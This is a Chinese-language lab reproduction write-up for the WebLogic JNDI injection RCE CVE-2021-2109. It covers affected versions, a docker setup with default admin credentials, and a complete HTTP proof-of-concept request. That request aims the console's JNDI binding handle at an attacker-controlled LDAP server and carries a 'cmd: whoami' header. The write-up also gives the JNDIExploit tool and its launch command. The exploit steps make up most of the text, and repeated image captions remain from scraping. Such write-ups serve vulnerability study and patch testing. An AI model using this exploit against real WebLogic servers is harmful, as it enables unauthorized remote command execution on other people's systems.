Weblogic JNDI注入 RCE (CVE-2021-2109) 复现

影响范围

Weblogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

环境搭建

docker pull ismaleiva90/weblogic12

docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest
http://localhost:49163/console

复现

进入环境

user:weblogic
passwd:welcome1

Weblogic JNDI注入 RCE (CVE-2021-2109) 复现
抓包 提交POC,get/post方法均可,Url中dap://xx.xx.xx;xx:port

POC:

POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.1;72:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.1.72:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cmd:whoami
Cookie:  ADMINCONSOLESESSION=8xUkHS93pNBdw9iRlb1XOoH5Iy5qm65NmKad54eCEtDI2PErEIXy!-181493417
Connection: close

JNDIExploit

https://github.com/feihong-cs/JNDIExploit
java -jar JNDIExploit-v1.11.jar -i 192.168.1.72

Weblogic JNDI注入 RCE (CVE-2021-2109) 复现

得到回显
Weblogic JNDI注入 RCE (CVE-2021-2109) 复现
Weblogic JNDI注入 RCE (CVE-2021-2109) 复现

Weblogic JNDI注入 RCE (CVE-2021-2109) 复现

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